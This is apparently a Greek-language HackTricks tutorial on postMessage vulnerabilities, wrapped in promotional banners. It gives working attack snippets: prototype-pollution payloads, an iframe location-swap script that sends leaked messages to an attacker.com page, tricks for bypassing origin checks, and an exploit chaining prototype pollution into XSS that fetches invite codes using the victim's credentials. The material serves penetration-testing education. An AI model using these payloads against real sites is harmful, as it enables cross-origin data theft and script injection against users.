PostMessage Vulnerabilities

Ευπαθείς Τομείς PostMessage

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλων λογισμικών.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:


Αποστολή PostMessage

Το PostMessage χρησιμοποιεί την ακόλουθη λειτουργία για να στείλει ένα μήνυμα:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Σημειώστε ότι το targetOrigin μπορεί να είναι ένα '*' ή ένα URL όπως το https://company.com. Στο δεύτερο σενάριο, το μήνυμα μπορεί να σταλεί μόνο σε αυτό το domain (ακόμα και αν η προέλευση του αντικειμένου παραθύρου είναι διαφορετική). Εάν χρησιμοποιηθεί το wildcard, τα μηνύματα μπορούν να σταλούν σε οποιοδήποτε domain, και θα σταλούν στην προέλευση του αντικειμένου παραθύρου.

Επίθεση στο iframe & wildcard στο targetOrigin

Όπως εξηγείται σε αυτήν την αναφορά, αν βρείτε μια σελίδα που μπορεί να ενσωματωθεί μέσω iframe (χωρίς προστασία X-Frame-Header) και αποστέλλει ευαίσθητο μήνυμα μέσω postMessage χρησιμοποιώντας ένα wildcard (*), μπορείτε να τροποποιήσετε την προέλευση του iframe και να διαρρεύσετε το ευαίσθητο μήνυμα σε ένα domain που ελέγχετε εσείς. Σημειώστε ότι αν η σελίδα μπορεί να ενσωματωθεί μέσω iframe αλλά το targetOrigin είναι ορισμένο σε ένα URL και όχι σε ένα wildcard, αυτό το κόλπο δεν θα λειτουργήσει.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Εκμετάλλευση addEventListener

Η addEventListener είναι η συνάρτηση που χρησιμοποιείται από το JS για να δηλώσει τη συνάρτηση που περιμένει postMessages. Θα χρησιμοποιηθεί ένας κώδικας παρόμοιος με τον παρακάτω:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Απαρίθμηση

Για να βρείτε ακροατές συμβάντων στην τρέχουσα σελίδα μπορείτε:

  • Αναζήτηση του κώδικα JS για window.addEventListener και $(window).on (JQuery έκδοση)

  • Εκτέλεση στην κονσόλα εργαλείων προγραμματιστή: getEventListeners(window)

  • Μετάβαση σε Στοιχεία --> Ακροατές Συμβάντων στα εργαλεία προγραμματιστή του προγράμματος περιήγησης

Παράκαμψη ελέγχου προέλευσης

  • Το χαρακτηριστικό event.isTrusted θεωρείται ασφαλές καθώς επιστρέφει True μόνο για συμβάντα που προέρχονται από γνήσιες ενέργειες χρήστη. Αν και είναι προκλητικό να το παρακάμψετε αν υλοποιηθεί σωστά, η σημασία του στους ελέγχους ασφαλείας είναι σημαντική.

  • Η χρήση της μεθόδου indexOf() για την επικύρωση προέλευσης σε συμβάντα PostMessage μπορεί να είναι ευάλωτη στην παράκαμψη. Ένα παράδειγμα που επεξηγεί αυτήν την ευπάθεια είναι:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Η μέθοδος search() από String.prototype.search() προορίζεται για τακτικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε διαφορετικό από μια τακτική εκφραση οδηγεί σε σιωπηρή μετατροπή σε τακτική εκφραση, κάνοντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή στις τακτικές εκφράσεις, ένα τελεία (.) λειτουργεί ως μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά διαμορφωμένους τομείς. Για παράδειγμα:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • Η λειτουργία match(), παρόμοια με το search(), επεξεργάζεται τακτικές εκφράσεις. Αν η τακτική εκφραση δεν είναι δομημένη σωστά, ενδέχεται να είναι ευάλωτη στην παράκαμψη.

  • Η λειτουργία escapeHtml προορίζεται για την αποσυμπίεση χαρακτήρων εισόδου. Ωστόσο, δεν δημιουργεί ένα νέο αποσυμπιεσμένο αντικείμενο αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ειδικότερα, αν ένα αντικείμενο μπορεί να διαχειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το hasOwnProperty, το escapeHtml δεν θα λειτουργήσει όπως αναμένεται. Αυτό φαίνεται στα παρακάτω παραδείγματα:

  • Αναμενόμενη Αποτυχία:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Παράκαμψη της αποσύνθεσης:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο File είναι ευάλωτο λόγω της ιδιότητάς του name που είναι μόνο για ανάγνωση. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν αποσυμπιέζεται από τη λειτουργία escapeHtml, οδηγώντας σε πιθανούς κινδύνους ασφάλειας.

  • Η ιδιότητα document.domain στην JavaScript μπορεί να οριστεί από ένα σενάριο για τη σύντμηση του τομέα, επιτρέποντας μια πιο χαλαρή εφαρμογή της πολιτικής ίδιας προέλευσης εντός του ίδιου γονικού τομέα.

Παράκαμψη e.origin == window.origin

Όταν ενσωματώνετε μια ιστοσελίδα μέσα σε ένα iframe με sandbox χρησιμοποιώντας %%%%%%, είναι κρίσιμο να κατανοήσετε ότι η προέλευση του iframe θα οριστεί σε null. Αυτό είναι ιδιαίτερα σημαντικό όταν ασχολείστε με χαρακτηριστικά sandbox και τις επιπτώσεις τους στην ασφάλεια και τη λειτουργικότητα.

Με την καθορισμό του allow-popups στο χαρακτηριστικό sandbox, οποιοδήποτε αναδυόμενο παράθυρο που ανοίγεται από το iframe κληρονομεί τους περιορισμούς του sandbox του γονικού του. Αυτό σημαίνει ότι εκτός αν περιλαμβάνεται επίσης το χαρακτηριστικό allow-popups-to-escape-sandbox, η προέλευση του αναδυόμενου παραθύρου ορίζεται επίσης σε null, ευθυγραμμίζοντας με την προέλευση του iframe.

Ως αποτέλεσμα, όταν ανοίγεται ένα αναδυόμενο παράθυρο υπό αυτές τις συνθήκες και αποστέλλεται ένα μήνυμα από το iframe στο αναδυόμενο παράθυρο χρησιμοποιώντας postMessage, τόσο η αποστολή όσο και η λήψη έχουν τις προελεύσεις τους ορισμένες σε null. Αυτή η κατάσταση οδηγεί σε ένα σενάριο όπου η e.origin == window.origin αξιολογείται ως αληθής (null == null), επειδή τόσο το iframe όσο και το αναδυόμενο παράθυρο μοιράζονται την ίδια τιμή προέλευσης του null.

Για περισσότερες πληροφορίες διαβάστε:

pageBypassing SOP with Iframes - 1

Παράκαμψη e.source

Είναι δυνατόν να ελέγξετε αν το μήνυμα προήλθε από το ίδιο παράθυρο στο οποίο ο κώδικας ακούει (ιδιαίτερα ενδιαφέρον για Σενάρια Περιεχομένου από επεκτάσεις προγράμματος περιήγησης για να ελέγξετε αν το μήνυμα στάλθηκε από την ίδια σελίδα):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

Μπορείτε να αναγκάσετε το e.source ενός μηνύματος να είναι null δημιουργώντας ένα iframe που στέλνει το postMessage και διαγράφεται αμέσως.

Για περισσότερες πληροφορίες διαβάστε:

pageBypassing SOP with Iframes - 2

Παράκαμψη X-Frame-Header

Για να εκτελέσετε αυτές τις επιθέσεις ιδανικά θα πρέπει να τοποθετήσετε την ιστοσελίδα θύματος μέσα σε ένα iframe. Αλλά ορισμένοι κεφαλίδες όπως το X-Frame-Header μπορεί να εμποδίσουν αυτή τη συμπεριφορά. Σε αυτά τα σενάρια μπορείτε ακόμα να χρησιμοποιήσετε μια λιγότερο αθόρυβη επίθεση. Μπορείτε να ανοίξετε ένα νέο tab στην ευάλωτη εφαρμογή και να επικοινωνήσετε μαζί της:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Κλοπή μηνύματος που στάλθηκε στο παιδί μπλοκάροντας την κύρια σελίδα

Στην παρακάτω σελίδα μπορείτε να δείτε πως μπορείτε να κλέψετε ευαίσθητα δεδομένα που στάλθηκαν μέσω postmessage σε ένα παιδικό iframe μπλοκάροντας την κύρια σελίδα πριν σταλούν τα δεδομένα και εκμεταλλευόμενοι ένα XSS στο παιδί για να διαρρεύσουν τα δεδομένα πριν φτάσουν:

pageBlocking main page to steal postmessage

Κλοπή μηνύματος με τροποποίηση της τοποθεσίας του iframe

Αν μπορείτε να ενσωματώσετε μια ιστοσελίδα μέσω iframe χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να αλλάξετε την τοποθεσία του παιδικού iframe, έτσι αν λαμβάνει ένα postmessage που στάλθηκε χρησιμοποιώντας ένα wildcard, ένας επιτιθέμενος μπορεί να αλλάξει την τοποθεσία του iframe αυτού σε μια σελίδα που ελέγχεται από αυτόν και να κλέψει το μήνυμα:

pageSteal postmessage modifying iframe location

postMessage σε Prototype Pollution και/ή XSS

Σε περιπτώσεις όπου τα δεδομένα που στέλνονται μέσω postMessage εκτελούνται από JS, μπορείτε να ενσωματώσετε τη σελίδα μέσω iframe και να εκμεταλλευτείτε τη διαρροή πρωτοτύπου/XSS στέλνοντας το exploit μέσω postMessage.

Μερικά πολύ καλά εξηγημένα XSS μέσω postMessage μπορούν να βρεθούν στο https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Παράδειγμα εκμετάλλευσης για κατάχρηση Διαρροής Πρωτοτύπου και στη συνέχεια XSS μέσω ενός postMessage σε ένα iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Για περισσότερες πληροφορίες:

Αναφορές

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλων λογισμικών.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αρπαγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated